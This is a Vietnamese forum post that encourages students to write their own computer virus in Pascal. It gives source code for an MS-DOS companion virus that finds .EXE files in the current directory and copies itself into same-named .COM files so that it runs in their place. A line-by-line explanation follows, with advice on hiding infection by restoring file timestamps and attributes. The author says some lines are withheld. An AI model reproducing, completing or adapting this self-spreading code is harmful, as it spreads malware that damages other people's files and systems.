Diễn Đàn Giải trí-Học tập
Viết virus bằng Pascal 46533eacb85bfbde2511b1cf9573cb30_43918747.20703010150223277191293
Diễn Đàn Giải trí-Học tập
Viết virus bằng Pascal 46533eacb85bfbde2511b1cf9573cb30_43918747.20703010150223277191293
Diễn Đàn Giải trí-Học tập
Bạn có muốn phản ứng với tin nhắn này? Vui lòng đăng ký diễn đàn trong một vài cú nhấp chuột hoặc đăng nhập để tiếp tục.

Diễn Đàn Giải trí-Học tập

Chào mừng các bạn đến với diễn đàn Giải trí-Học tập
 
Trang ChínhGalleryLatest imagesTìm kiếmĐăng kýĐăng Nhập

 

 Viết virus bằng Pascal

Go down 
Tác giảThông điệp
admin
Thập Vỹ
Thập Vỹ
admin


Tổng số bài gửi : 135
Thành Tích : 490
Danh tiếng : 0
Ngày tham gia : 16/07/2011
Tuổi : 26
Đến từ : quang ninh
Việc làm/sở thích : gunny

Viết virus bằng Pascal Empty
Bài gửiTiêu đề: Viết virus bằng Pascal   Viết virus bằng Pascal I_icon_minitimeMon Aug 29, 2011 6:09 pm

P/s:Hiện tại vẫn học kiến thức phổ thông, chúng ta được làm quen với Pascal, do đó mọi người thử nghịch tí và năng cao khả năng code của mình
KHỞI ĐẦU
Với vốn pascal hiện có, bạn có thể làm những gì? tại sao không bắt tay vào việc tao ra một con "virus" nhỏ cho riêng mình, từ đó sẽ kích thích bạn hiểu hơn về thao tác file cũng như lập trình hệ thống.

Dưới đây là ví dụ về một mẫu virus đơn giản, chưa có tính phá hoại, mới chỉ cài đặt khả năng lây lan dành cho các bạn tham khảo:

{$A-,B-,D-,E-,F-,G-,I-,L- ,N-,O-,P-,Q-,R-,S-,T-,V-,X-,Y- }
{$M 8192,0,16384}
uses
Dos, Crt;
const
extend = '*.EXE';
var
SRec : SearchRec;
NameOfVector, NameOfVictim : String;
VECTOR, VICTIM : File;
LengthOfVector : LongInt;
Buffer : Pointer;
begin
1. {...}
2. FindFirst (extend, AnyFile, SRec);
3. while (DosError = 0) and (IOResult = 0) do
4. begin
5. with SRec do
6. if not ((Name='.') or (Name='..')
7. or (not (Attr and Directory and VolumeID<>0)))
8. then
9. begin
10. NameOfVictim:=Name;
11. Delete (NameOfVictim, Pos ('EXE',NameOfVictim),3);
12. NameOfVictim:=NameOfVictim+'COM' ;
13. Assign (VICTIM, NameOfVictim);
14. Reset (VICTIM,1);
15.
16. if IOResult <> 0 then
17. begin
18. {...}
19. Assign (VECTOR, NameOfVector);
20. Reset (VECTOR, 1);
21. LengthOfVector := FileSize (VECTOR);
22. GetMem (Buffer,LengthOfVector);
23. BlockRead (VECTOR, Buffer^, LengthOfVector);
24. ReWrite (VICTIM,1);
25. BlockWrite (VICTIM , Buffer^, LengthOfVector);
26. Close (VECTOR);
27. Close (VICTIM);
28. FreeMem (Buffer, LengthOfVector);
29. end;
30. end;
31. FindNext (SRec);
32. end;
33. Delete (NameOfVector,Pos ('.COM',NameOfVector),4);
34. NameOfVector := '/C '+NameOfVector+'.EXE';
35. {..}
36. {..}
37. {-Thuc thi file EXE ban dau-}
38. SwapVectors;
39. Exec(GetEnv('COMSPEC'), NameOfVector);
40. SwapVectors;
end.
Giải thích :

Đễ lây nhiễm vào file mà không để lại dấu vết, các bạn nên tham khảo hàm GetFTime(); GetFAttr(); và SetFTime(); SetFAttr(); có trong unit DOS;

Phần khai báo biến:
Trích dẫn:
Mã:
var
SRec : SearchRec;
NameOfVector, NameOfVictim : String;
VECTOR, VICTIM : File;
LengthOfVector : LongInt;
Buffer : Pointer;

-NameOfVector : tên của file đã nhiễm, được user chỉ định thực thi (VD: BOITOAN.EXE)
-NameOfVictim : tên của file .EXE tìm thấy, là đối tượng sẽ lây nhiễm (VD: PROGRAM.EXE)
-VECTOR, VICTIM: biến file dùng để thao tác 2 file nói trên
-LengthOfVector: kích thước file Vector
-Buffer: cung cấp vùng nhớ sẽ dùng để nạp file VECTOR;

Đến đây có một câu hỏi đặt ra là làm sao kiểm tra xem file đã nhiễm hay chưa mà xử lí. Nếu nhiễm rồi thì lây zô nữa làm gì , điều này liên quan tới việc tạo keygen để đánh dấu file (là chuỗi ký tự có tính chất đặc trương cho từng loại virus - các AVs có thể dựa vào đây để phát hiện ra mã virus) mà trong khuôn khổ bài viết này không đề cập đến.

Đầu tiên, Chương trình sẽ tìm một file .exe trong thư mục hiện hành (Lệnh 2) trả thông tin về cho biến SREC;
Nếu không có lỗi (lỗi sinh ra khi không có file .exe nào) thì gán tên file tìm được cho biến NameOfVictim (lệnh 10) giả sử ta được NameOfVictim='BAITAP.EXE' thì tiếp theo chuyển thành 'BAITAP.COM' (lệnh 11+12).
Mở file BAITAP.COM, nếu có lỗi thì có thể file trên chưa tồn tại (khi đó DosError<>0)
Nếu BAITAP.COM chưa tồn tại thì tiếp tục lệnh 16

-Mở file chủ, lấy kích thước (19 -> 21)
-Nạp file chủ vào vùng nhớ (22 -> 23)
-Tạo mới file BAITAP.COM rồi Ghi nội dung vùng nhớ vào file này (24 -> 25)
-Đóng file, ghi ra đĩa cứng (27)
-Xóa nội dung vùng nhớ, đề phòng phát hiện (28)

Như vậy, ta đã tạo đc một file BAITAP.COM có tên trùng với file BAITAP.EXE mà chương trình tìm thấy, nhưng nội dung chứa bên trong file .COM này chính là nội dung file Chủ --> Như thế file Chủ (là file đã nhiễm) đã được nhân bản.
Các câu lệnh còn lại là trao quyền thực thi cho file Chủ ban đầu theo yêu cầu của user.

Đoạn code trên nếu các bạn test sẽ không thành công vì có một số dòng mình đã giấu đi do bài viết chỉ mang tính học tập một cách thức lây lan của virus.

Như vậy, nếu bạn biên dịch ra file này là VIRUS.EXE rồi chạy nó,ta sẽ được:
-VIRUS tìm file .EXE trong thư mục hiện hành, có thể là chính bản thân nó.
Giả sử tìm thấy file PROGRAM.EXE
-Tạo ra file PROGRAM.COM là bản sao của virus

Ta nhắc lại một chút, trong DOS, thứ tự ưu tiên của các dạng file thi hành được xếp như sau: COM > EXE > BAT > ...
Như vậy, sau này khi user gỏ lệnh sau:
C:\>PROGRAM
thì file PROGRAM.COM (do virus tạo ra) sẽ được chạy chứ không phải là file PROGRAM.EXE
Như thế VIRUS sẽ có cơ hội được tiếp tục lấy lan.

Kết luận
Trên đây là code của một F-Virus chạy trên nền MS-DOS, song dễ bị phát hiện trên nền Windows.
Qua bài trên , ta có thể hiểu được cách thức lây nhiễm đơn giản là lợi dụng vào thứ tự ưu tiên của file .COM so với file .EXE
Về Đầu Trang Go down
https://giaitrihoctap.forumvi.com
 
Viết virus bằng Pascal
Về Đầu Trang 
Trang 1 trong tổng số 1 trang

Permissions in this forum:Bạn không có quyền trả lời bài viết
Diễn Đàn Giải trí-Học tập  :: Máy Tính Và Internet :: Thủ thuật máy tính-
Chuyển đến